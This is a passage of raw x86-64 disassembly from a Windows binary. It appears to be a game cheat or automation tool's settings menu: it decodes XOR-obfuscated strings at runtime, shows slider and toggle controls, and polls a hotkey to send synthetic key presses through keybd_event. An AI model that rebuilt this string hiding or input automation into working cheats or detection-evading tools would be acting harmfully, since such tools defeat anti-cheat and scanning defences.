movss xmm1, dword [0x140170d8c]
mov ecx, 0x63d145c
call fcn.1400727c0
mov dword [rbp + 0x2b8], 0x544e5a79
mov dword [rbp + 0x2bc], 0x4f6d1d4e
mov dword [rbp + 0x2c0], 0x262425
mov byte [rbp + 0x2c4], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x2b8], al
inc rcx
cmp rcx, 0xb
jb 0x14006ce10
mov byte [rbp + 0x2c4], 0
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
movaps xmm3, xmm9
xorps xmm2, xmm2
lea rdx, [0x1401a7a78]
lea rcx, [rbp + 0x2b8]
call fcn.140050f70
test al, al
je 0x14006ce6d
cmp byte [0x1401a760d], 0
je 0x14006ce6d
movss xmm1, dword [0x140170d8c]
mov ecx, 0x5ab87b8
call fcn.1400727c0
cmp byte [0x1401a7a3d], 0
je 0x14006cfaf
mov dword [rbp + 0x1078], 0x49595875
mov dword [rbp + 0x107c], 0x5e681d53
mov dword [rbp + 0x1080], 0x27342c
mov byte [rbp + 0x1084], 1
lea rcx, [rbp + 0x1078]
call fcn.140074600
mov rcx, rax
mov dword [rsp + 0x28], r15d
lea rax, str._.f_ms
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1400ec0cc]
movss xmm2, dword [0x1400ebf90]
lea rdx, [0x140170d40]
call fcn.140050f70
cmp byte [0x1401a760d], 1
je 0x14006cefa
cmp byte [0x1401a760e], 1
je 0x14006cefa
cmp byte [0x1401a760f], 1
jne 0x14006cfaf
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14006cfaf
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
cvttss2si rcx, dword [0x140170d40]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14006cf9b
mov ecx, 0x50
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x43
call qword [sym.imp.USER32.dll_keybd_event]
cvttss2si rcx, dword [0x140170d40]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14006cf50
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14006cf10
mov dword [rbp + 0x2f8], 0x5f5b4971
mov dword [rbp + 0x2fc], 0x5b507c1c
mov dword [rbp + 0x300], 0x2c211260
mov dword [rbp + 0x304], 0x1002034
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x2f8], al
inc rcx
cmp rcx, 0xe
jb 0x14006cfe0
mov byte [rbp + 0x307], 0
xor edx, edx
lea rcx, [rbp + 0x2f8]
call fcn.14004b760
test al, al
je 0x14006d190
movss xmm0, dword [0x140115d78]
call fcn.140024720
mov dword [rbp + 0x3c8], 0x5f5b4971
mov word [rbp + 0x3cc], 0x100
lea rcx, [rbp + 0x3c8]
call fcn.140073bb0
mov rcx, rax
mov dword [rsp + 0x28], r15d
lea rax, str._.1f
mov qword [rsp + 0x20], rax
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x140170d44]
call fcn.140050f70
test al, al
je 0x14006d140
movss xmm0, dword [0x140170d44]
ucomiss xmm0, xmm9
jp 0x14006d096
jne 0x14006d096
movss xmm1, dword [0x1400ec0d8]
mov ecx, 0x5e3d044
call fcn.1400727c0
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf4c]
jp 0x14006d0bb
jne 0x14006d0bb
movss xmm1, dword [0x140115d74]
mov ecx, 0x5e3d044
call fcn.1400727c0
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf48]
jp 0x14006d0e0
jne 0x14006d0e0
movss xmm1, dword [0x1400ec0d4]
mov ecx, 0x5e3d044
call fcn.1400727c0
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf38]
jp 0x14006d101
jne 0x14006d101
movaps xmm1, xmm8
mov ecx, 0x5e3d044
call fcn.1400727c0
movss xmm0, dword [0x140170d44]
ucomiss xmm0, dword [0x1400ebf2c]
jp 0x14006d126
jne 0x14006d126
movss xmm1, dword [0x140115d50]
mov ecx, 0x5e3d044
call fcn.1400727c0
movss xmm0, dword [0x140170d44]
ucomiss xmm0, xmm13
jp 0x14006d140
jne 0x14006d140
movss xmm1, dword [0x140115d4c]
mov ecx, 0x5e3d044
call fcn.1400727c0
mov dword [rbp + 0x530], 0x4b555a6b
mov word [rbp + 0x534], 0x59
mov byte [rbp + 0x536], 1
lea rcx, [rbp + 0x530]
call fcn.140073be0
mov rcx, rax
mov dword [rsp + 0x28], r15d
lea rax, [0x1400ebed8]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea r8d, [r9 - 0x31]
lea rdx, reloc.WS2_32.dll_accept
call fcn.140050fc0
mov dword [rbp + 0x18], 0x5e524d77
mov word [rbp + 0x1c], Ordinal_79
mov byte [rbp + 0x1e], 1
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x18], al
inc rcx
cmp rcx, 5
jb 0x14006d1b0
mov byte [rbp + 0x1e], 0
xor edx, edx
lea rcx, [rbp + 0x18]
call fcn.14004b760
test al, al
je 0x14006f9a0
mov dword [rbp + 0xc78], 0x7c1a5676
mov dword [rbp + 0xc7c], 0x4c4d5c4e
mov word [rbp + 0xc80], 0x100
lea rcx, [rbp + 0xc78]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a43]
call fcn.14004ad70
test al, al
je 0x14006d316
movzx eax, byte [0x1401a7a43]
test al, al
je 0x14006d2a1
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x948], 0x497d5676
mov dword [rbp + 0x94c], 0x4d4e5d
mov byte [rbp + 0x950], 1
lea rcx, [rbp + 0x948]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x7a8], 0x54575c75
mov dword [rbp + 0x7ac], 0x100444e
lea rcx, [rbp + 0x7a8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a43]
test al, al
jne 0x14006d316
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x958], 0x497d5676
mov dword [rbp + 0x95c], 0x4d4e5d
mov byte [rbp + 0x960], 1
lea rcx, [rbp + 0x958]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x798], 0x54575c75
mov dword [rbp + 0x79c], 0x100444e
lea rcx, [rbp + 0x798]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3d0], 0x5e5c586b
mov word [rbp + 0x3d4], 0x100
lea rcx, [rbp + 0x3d0]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xf88], 0x5e495c7c
mov dword [rbp + 0xf8c], 0x721e494e
mov dword [rbp + 0xf90], 0x1003121
lea rcx, [rbp + 0xf88]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a46]
call fcn.14004ad70
test al, al
je 0x14006d4a9
movzx eax, byte [0x1401a7a46]
test al, al
je 0x14006d42b
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xc98], 0x5e495c7c
mov dword [rbp + 0xc9c], 0x5e73494e
mov word [rbp + 0xca0], Ordinal_50
mov byte [rbp + 0xca2], 1
lea rcx, [rbp + 0xc98]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x790], 0x54575c75
mov dword [rbp + 0x794], 0x100444e
lea rcx, [rbp + 0x790]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a46]
test al, al
jne 0x14006d4a9
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xca8], 0x5e495c7c
mov dword [rbp + 0xcac], 0x5e73494e
mov word [rbp + 0xcb0], Ordinal_50
mov byte [rbp + 0xcb2], 1
lea rcx, [rbp + 0xca8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x788], 0x54575c75
mov dword [rbp + 0x78c], 0x100444e
lea rcx, [rbp + 0x788]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3d8], 0x5049506a
mov word [rbp + 0x3dc], 0x100
lea rcx, [rbp + 0x3d8]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xcb8], 0x691a5676
mov dword [rbp + 0xcbc], 0x56515e59
mov word [rbp + 0xcc0], Ordinal_46
mov byte [rbp + 0xcc2], 1
lea rcx, [rbp + 0xcb8]
call fcn.140073ca0
mov rcx, rax
lea rdx, [0x1401a7a44]
call fcn.14004ad70
test al, al
je 0x14006d629
movzx eax, byte [0x1401a7a44]
test al, al
je 0x14006d5b2
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xc68], 0x5e685676
mov dword [rbp + 0xc6c], 0x5357525f
mov word [rbp + 0xc70], 0x100
lea rcx, [rbp + 0xc68]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x780], 0x54575c75
mov dword [rbp + 0x784], 0x100444e
lea rcx, [rbp + 0x780]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a44]
test al, al
jne 0x14006d629
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xbd8], 0x5e685676
mov dword [rbp + 0xbdc], 0x5357525f
mov word [rbp + 0xbe0], 0x100
lea rcx, [rbp + 0xbd8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x778], 0x54575c75
mov dword [rbp + 0x77c], 0x100444e
lea rcx, [rbp + 0x778]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3e0], 0x5049506a
mov word [rbp + 0x3e4], 0x100
lea rcx, [rbp + 0x3e0]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1088], 0x48495c74
mov dword [rbp + 0x108c], 0x5c5b6f1c
mov dword [rbp + 0x1090], 0x2e282f
mov byte [rbp + 0x1094], 1
lea rcx, [rbp + 0x1088]
call fcn.140074600
mov rcx, rax
lea rdx, [0x1401a7a45]
call fcn.14004ad70
test al, al
je 0x14006d7b7
movzx eax, byte [0x1401a7a45]
test al, al
je 0x14006d73f
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xf98], 0x48495c74
mov dword [rbp + 0xf9c], 0x505d586e
mov dword [rbp + 0xfa0], 0x1002d29
lea rcx, [rbp + 0xf98]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x770], 0x54575c75
mov dword [rbp + 0x774], 0x100444e
lea rcx, [rbp + 0x770]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a45]
test al, al
jne 0x14006d7b7
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xfa8], 0x48495c74
mov dword [rbp + 0xfac], 0x505d586e
mov dword [rbp + 0xfb0], 0x1002d29
lea rcx, [rbp + 0xfa8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x768], 0x54575c75
mov dword [rbp + 0x76c], 0x100444e
lea rcx, [rbp + 0x768]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0xcc8], 0x52575c6b
mov dword [rbp + 0xccc], 0x595f6e1c
mov word [rbp + 0xcd0], Ordinal_41
mov byte [rbp + 0xcd2], 1
lea rcx, [rbp + 0xcc8]
call fcn.140073ca0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0xfb8], 0x4f49587e
mov dword [rbp + 0xfbc], 0x50566e1c
mov dword [rbp + 0xfc0], 0x100352f
lea rcx, [rbp + 0xfb8]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a47]
call fcn.14004ad70
test al, al
je 0x14006d950
movzx eax, byte [0x1401a7a47]
test al, al
je 0x14006d8d2
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xcd8], 0x4f49587e
mov dword [rbp + 0xcdc], 0x5051556f
mov word [rbp + 0xce0], gethostname
mov byte [rbp + 0xce2], 1
lea rcx, [rbp + 0xcd8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x760], 0x54575c75
mov dword [rbp + 0x764], 0x100444e
lea rcx, [rbp + 0x760]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a47]
test al, al
jne 0x14006d950
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xce8], 0x4f49587e
mov dword [rbp + 0xcec], 0x5051556f
mov word [rbp + 0xcf0], gethostname
mov byte [rbp + 0xcf2], 1
lea rcx, [rbp + 0xce8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x758], 0x54575c75
mov dword [rbp + 0x75c], 0x100444e
lea rcx, [rbp + 0x758]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3e8], 0x5049506a
mov word [rbp + 0x3ec], 0x100
lea rcx, [rbp + 0x3e8]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1238], 0x4f495771
mov dword [rbp + 0x123c], 0x1f4a535d
mov dword [rbp + 0x1240], 0x63362808
mov dword [rbp + 0x1244], 0x1007432
lea rcx, [rbp + 0x1238]
call fcn.140074690
mov rcx, rax
lea rdx, [0x1401a7a48]
call fcn.14004ad70
test al, al
je 0x14006dae1
movzx eax, byte [0x1401a7a48]
test al, al
je 0x14006da69
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xfc8], 0x4f495771
mov dword [rbp + 0xfcc], 0x774a535d
mov dword [rbp + 0xfd0], 0x1003529
lea rcx, [rbp + 0xfc8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x750], 0x54575c75
mov dword [rbp + 0x754], 0x100444e
lea rcx, [rbp + 0x750]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a48]
test al, al
jne 0x14006dae1
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xfd8], 0x4f495771
mov dword [rbp + 0xfdc], 0x774a535d
mov dword [rbp + 0xfe0], 0x1003529
lea rcx, [rbp + 0xfd8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x748], 0x54575c75
mov dword [rbp + 0x74c], 0x100444e
lea rcx, [rbp + 0x748]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3f0], 0x5049506a
mov word [rbp + 0x3f4], 0x100
lea rcx, [rbp + 0x3f0]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
mov dword [rbp + 0x1248], 0x4f495771
mov dword [rbp + 0x124c], 0x1f4a535d
mov dword [rbp + 0x1250], 0x63362808
mov dword [rbp + 0x1254], 0x1007732
lea rcx, [rbp + 0x1248]
call fcn.140074690
mov rcx, rax
lea rdx, [0x1401a7a49]
call fcn.14004ad70
test al, al
je 0x14006dc7d
movzx eax, byte [0x1401a7a49]
test al, al
je 0x14006dbfc
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x1148], 0x4f495771
mov dword [rbp + 0x114c], 0x774a535d
mov dword [rbp + 0x1150], 0x71143529
mov word [rbp + 0x1154], 0x100
lea rcx, [rbp + 0x1148]
call fcn.140074630
mov rbx, rax
mov dword [rbp + 0x740], 0x54575c75
mov dword [rbp + 0x744], 0x100444e
lea rcx, [rbp + 0x740]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a49]
test al, al
jne 0x14006dc7d
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x1158], 0x4f495771
mov dword [rbp + 0x115c], 0x774a535d
mov dword [rbp + 0x1160], 0x71143529
mov word [rbp + 0x1164], 0x100
lea rcx, [rbp + 0x1158]
call fcn.140074630
mov rbx, rax
mov dword [rbp + 0x738], 0x54575c75
mov dword [rbp + 0x73c], 0x100444e
lea rcx, [rbp + 0x738]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x60], 0x5049506a
mov word [rbp - 0x5c], 0x100
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 4
jb 0x14006dca0
mov byte [rbp - 0x5b], 0
lea rcx, [rbp - 0x60]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x228], 0x585b557a
mov dword [rbp + 0x22c], 0x507c1d57
mov dword [rbp + 0x230], 0x1003824
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x228], al
inc rcx
cmp rcx, 0xa
jb 0x14006dcf0
mov byte [rbp + 0x233], 0
lea rdx, [0x1401a7a4b]
lea rcx, [rbp + 0x228]
call fcn.14004ad70
test al, al
je 0x14006de3a
movzx eax, byte [0x1401a7a4b]
test al, al
je 0x14006ddbc
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xcf8], 0x585b557a
mov dword [rbp + 0xcfc], 0x5b517f57
mov word [rbp + 0xd00], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xd02], 1
lea rcx, [rbp + 0xcf8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x730], 0x54575c75
mov dword [rbp + 0x734], 0x100444e
lea rcx, [rbp + 0x730]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a4b]
test al, al
jne 0x14006de3a
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xd08], 0x585b557a
mov dword [rbp + 0xd0c], 0x5b517f57
mov word [rbp + 0xd10], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xd12], 1
lea rcx, [rbp + 0xd08]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x728], 0x54575c75
mov dword [rbp + 0x72c], 0x100444e
lea rcx, [rbp + 0x728]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1c8], 0x52575c6b
mov dword [rbp + 0x1cc], 0x595f6e1c
mov word [rbp + 0x1d0], Ordinal_41
mov byte [rbp + 0x1d2], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1c8], al
inc rcx
cmp rcx, 9
jb 0x14006de70
mov byte [rbp + 0x1d2], 0
lea rcx, [rbp + 0x1c8]
call fcn.140063e30
mov dword [rbp + 0x218], 0x535d5076
mov dword [rbp + 0x21c], 0x50731d48
mov dword [rbp + 0x220], 0x1002424
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x218], al
inc rcx
cmp rcx, 0xa
jb 0x14006dec0
mov byte [rbp + 0x223], 0
lea rdx, [0x1401a7a4c]
lea rcx, [rbp + 0x218]
call fcn.14004ad70
test al, al
je 0x14006e00a
movzx eax, byte [0x1401a7a4c]
test al, al
je 0x14006df8c
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xd18], 0x535d5076
mov dword [rbp + 0xd1c], 0x5b517048
mov word [rbp + 0xd20], Ordinal_41
mov byte [rbp + 0xd22], 1
lea rcx, [rbp + 0xd18]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x720], 0x54575c75
mov dword [rbp + 0x724], 0x100444e
lea rcx, [rbp + 0x720]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a4c]
test al, al
jne 0x14006e00a
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xd28], 0x535d5076
mov dword [rbp + 0xd2c], 0x5b517048
mov word [rbp + 0xd30], Ordinal_41
mov byte [rbp + 0xd32], 1
lea rcx, [rbp + 0xd28]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x718], 0x54575c75
mov dword [rbp + 0x71c], 0x100444e
lea rcx, [rbp + 0x718]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1d8], 0x52575c6b
mov dword [rbp + 0x1dc], 0x595f6e1c
mov word [rbp + 0x1e0], Ordinal_41
mov byte [rbp + 0x1e2], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1d8], al
inc rcx
cmp rcx, 9
jb 0x14006e040
mov byte [rbp + 0x1e2], 0
lea rcx, [rbp + 0x1d8]
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0xc8], 0x1b42507e
mov dword [rbp + 0xcc], 0x5850546c
mov word [rbp + 0xd0], 0x100
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0xc8], al
inc rcx
cmp rcx, 8
jb 0x14006e091
mov byte [rbp + 0xd1], 0
lea rdx, [0x1401a7a4d]
lea rcx, [rbp + 0xc8]
call fcn.14004ad70
test al, al
je 0x14006e1c5
movzx eax, byte [0x1401a7a4d]
test al, al
je 0x14006e150
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x968], 0x6b42507e
mov dword [rbp + 0x96c], 0x595355
mov byte [rbp + 0x970], 1
lea rcx, [rbp + 0x968]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x6b0], 0x54575c75
mov dword [rbp + 0x6b4], 0x100444e
lea rcx, [rbp + 0x6b0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a4d]
test al, al
jne 0x14006e1c5
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x978], 0x6b42507e
mov dword [rbp + 0x97c], 0x595355
mov byte [rbp + 0x980], 1
lea rcx, [rbp + 0x978]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x7a0], 0x54575c75
mov dword [rbp + 0x7a4], 0x100444e
lea rcx, [rbp + 0x7a0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp - 0x58], 0x5e5c586b
mov word [rbp - 0x54], 0x100
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x58], al
inc rcx
cmp rcx, 4
jb 0x14006e1e0
mov byte [rbp - 0x53], 0
lea rcx, [rbp - 0x58]
call fcn.140063e30
mov dword [rbp + 0x1a8], 0x585b557a
mov dword [rbp + 0x1ac], 0x546d1d57
mov word [rbp + 0x1b0], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x1b2], 1
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1a8], al
inc rcx
cmp rcx, 9
jb 0x14006e230
mov byte [rbp + 0x1b2], 0
lea rdx, [0x1401a7a4a]
lea rcx, [rbp + 0x1a8]
call fcn.14004ad70
test al, al
je 0x14006e36c
movzx eax, byte [0x1401a7a4a]
test al, al
je 0x14006e2f5
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xbe8], 0x585b557a
mov dword [rbp + 0xbec], 0x46556e57
mov word [rbp + 0xbf0], 0x100
lea rcx, [rbp + 0xbe8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x830], 0x54575c75
mov dword [rbp + 0x834], 0x100444e
lea rcx, [rbp + 0x830]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a4a]
test al, al
jne 0x14006e36c
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xa88], 0x585b557a
mov dword [rbp + 0xa8c], 0x46556e57
mov word [rbp + 0xa90], 0x100
lea rcx, [rbp + 0xa88]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x838], 0x54575c75
mov dword [rbp + 0x83c], 0x100444e
lea rcx, [rbp + 0x838]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x3f8], 0x5049506a
mov word [rbp + 0x3fc], 0x100
lea rcx, [rbp + 0x3f8]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm7
call fcn.140027e20
mov dword [rbp + 0x1118], 0x4f5b4d6b
mov dword [rbp + 0x111c], 0x7c1e5e55
mov dword [rbp + 0x1120], 0x30312e32
mov word [rbp + 0x1124], 0x100
lea rcx, [rbp + 0x1118]
call fcn.140074630
mov rcx, rax
lea rdx, [0x1401a7a4e]
call fcn.14004ad70
test al, al
je 0x14006e50a
movzx eax, byte [0x1401a7a4e]
test al, al
je 0x14006e48b
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x1098], 0x4f5b4d6b
mov dword [rbp + 0x109c], 0x4d7d5e55
mov dword [rbp + 0x10a0], 0x31322f
